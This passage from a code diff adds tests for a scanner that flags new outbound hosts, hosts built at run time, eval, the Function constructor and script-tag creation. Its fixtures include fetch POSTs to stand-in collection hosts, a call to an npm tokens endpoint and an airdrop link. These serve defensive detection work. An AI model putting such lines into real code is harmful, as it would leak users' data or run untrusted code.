assert.deepEqual(rules(check({ "app/src/lib/track.ts": 'await fetch("https://collect.metrics-cdn.io/v1", { method: "POST", body });\n' })), ["new-host"]); + assert.deepEqual(rules(check({ "app/src/lib/track.test.ts": 'await fetch("https://collect.metrics-cdn.io/v1");\n' })), ["new-host"]); + assert.deepEqual(rules(check({ "README.md": `${BASE["README.md"]}Claim here: https://openlaunch-airdrop.xyz\n` })), ["new-host"]); + assert.deepEqual(rules(check({ "app/src/lib/rpc.ts": 'const a = "https://mainnet.base.org/x", b = "http://localhost:3000", c = "http://127.0.0.1:8545";\n' })), []); + }); + + test("a host that only a lockfile mentions is still new to the code", () => { + assert.deepEqual(rules(check({ "app/src/lib/meta.ts": 'await fetch("https://registry.npmjs.org/-/npm/v1/tokens");\n' })), ["new-host"]); + }); + + test("a host built at run time is flagged, since it cannot be compared", () => { + assert.match(details(check({ "app/src/lib/send.ts": "await fetch(`https://${target}/in`);\n" }), "new-host"), /\(computed\)/); + // joined on from a separate string: no host follows the scheme, so there is nothing to compare either + for (const line of ['await fetch("https://" + target);', "await fetch('https://' + 'collect.metrics-cdn.io/x');", 'const scheme = "wss://";', 'const url = ["https://", host].join("");']) { + const found = check({ "app/src/lib/send.ts": `${line}\n` }); + assert.deepEqual(found.map((f) => [f.rule, f.detail, f.line]), [["new-host", "(computed)", 1]], line); + } + // once per line, beside any host that is written out + const both = check({ "app/src/lib/send.ts": 'const a = "https://collect.metrics-cdn.io/v1", b = "https://" + host, c = `https://${host}`;\n' }); + assert.equal(details(both, "new-host"), "collect.metrics-cdn.io | (computed)"); + // a known host written in full is still not a finding, and prose that mentions a scheme is not code + assert.deepEqual(rules(check({ "app/src/lib/rpc.ts": 'const a = "https://mainnet.base.org/x";\n' })), []); + assert.deepEqual(rules(check({ "docs/guide.md": "## Guide\n\nLinks must start with https:// and nothing else.\n" })), []); + }); + + test("an address that is finished somewhere else is a computed host too", () => { + const computed = [ + 'await fetch("https://@" + target);', // an empty user name, then the host + 'await fetch("https://:@" + target);', + 'await fetch("https://mainnet.base.org" + ".collect.metrics-cdn.io/x");', // a known host, made into another one + 'await fetch("https://mainnet.base.org." + tail);', + 'await fetch("https://mainnet.base.org".concat(tail));', + 'await fetch("//" + target);', // no scheme: the page's own + ]; + for (const line of computed) assert.deepEqual([...hostsIn(line, true)].filter((host) => host === "(computed)"), ["(computed)"], line); + assert.deepEqual(check({ "app/src/lib/send.ts": `${computed[2]}\n` }).map((f) => [f.rule, f.detail]), [["new-host", "(computed)"]]); + // a path, a query or a fragment joined on leaves the host as it is written + for (const line of ['fetch("https://mainnet.base.org" + "/v1/" + id);', 'fetch("https://mainnet.base.org" + "?id=" + id);', 'const site = "https://mainnet.base.org";']) { + assert.deepEqual(rules(check({ "app/src/lib/send.ts": `${line}\n` })), [], line); + } + // comparing a protocol is not building an address + assert.deepEqual(rules(check({ "app/src/lib/link.ts": 'if (u.protocol !== "https:" && u.protocol !== "http:") return null;\n' })), []); + }); + + test("a host is read out of escaped slashes, an address with no scheme, and a wildcard", () => { + const hosts = (line) => details(check({ "app/src/lib/send.ts": `${line}\n` }), "new-host"); + assert.equal(hosts('await fetch("https:\\/\\/collect.metrics-cdn.io/x");'), "collect.metrics-cdn.io"); + assert.equal(hosts("const seen = /https:\\/\\/collect\\.metrics-cdn\\.io\\/v1/.test(url);"), "collect.metrics-cdn.io"); + assert.equal(hosts('await fetch("//cdn.metrics-cdn.io/a.json");'), "cdn.metrics-cdn.io"); + assert.equal(hosts('const csp = "connect-src https://*.metrics-cdn.io wss://*.metrics-cdn.io";'), "*.metrics-cdn.io"); + // patterns that test or trim an address name no host, and neither does a comment or another scheme + const none = [ + 'lines.push("// not an address");', "const half = a // b.c", 'const ipfs = "ipfs://bafybeigdyrzt5sfp7udm7hu76uh7y26nf3efuylqabf3oclgtqy55fbzdi";', + "const re = /^https?:\\/\\//i;", "const ok = /^https:\\/\\//.test(v.trim());", 'const base = siteUrl.replace(/\\/$/, "");', + "assert.match(url, /^https:\\/\\/[^/]+$/);", "const m = /^https:\\/\\/(?:www\\.)?(?:x|twitter)\\.com\\/([A-Za-z0-9_]{1,15})$/i.exec(url);", + ]; + for (const line of none) assert.equal(hosts(line), "", line); + assert.equal(hostOf("localhost:*"), "localhost"); + assert.equal(hostOf("openlaunch.lol]"), "openlaunch.lol"); + assert.equal(hostOf("[::1]:8545"), "[::1]"); + assert.equal(hostOf("@"), null); + }); + + test("hostOf strips credentials, ports and case", () => { + assert.equal(hostOf("User:pw@Example-RPC.io:8443"), "example-rpc.io"); + assert.equal(hostOf("evil_site.com"), "evil_site.com"); + assert.equal(hostOf("${host}"), "(computed)"); + }); + + test("code execution, raw HTML and process spawning are flagged, in tests as well", () => { + const samples = { + "eval()": ["const out = eval(source);", "const out = (0, eval)(source);", "const run = eval;", "window.eval?.(source);"], + "the Function constructor": ['const run = new Function("return 1");', 'const run = Function("return 1");', 'globalThis.Function("return 1")();'], + "a timer given its code as a string": 'setTimeout("go()", 0);', + "a script, frame or embed tag": ['const s = document.createElement("script");', "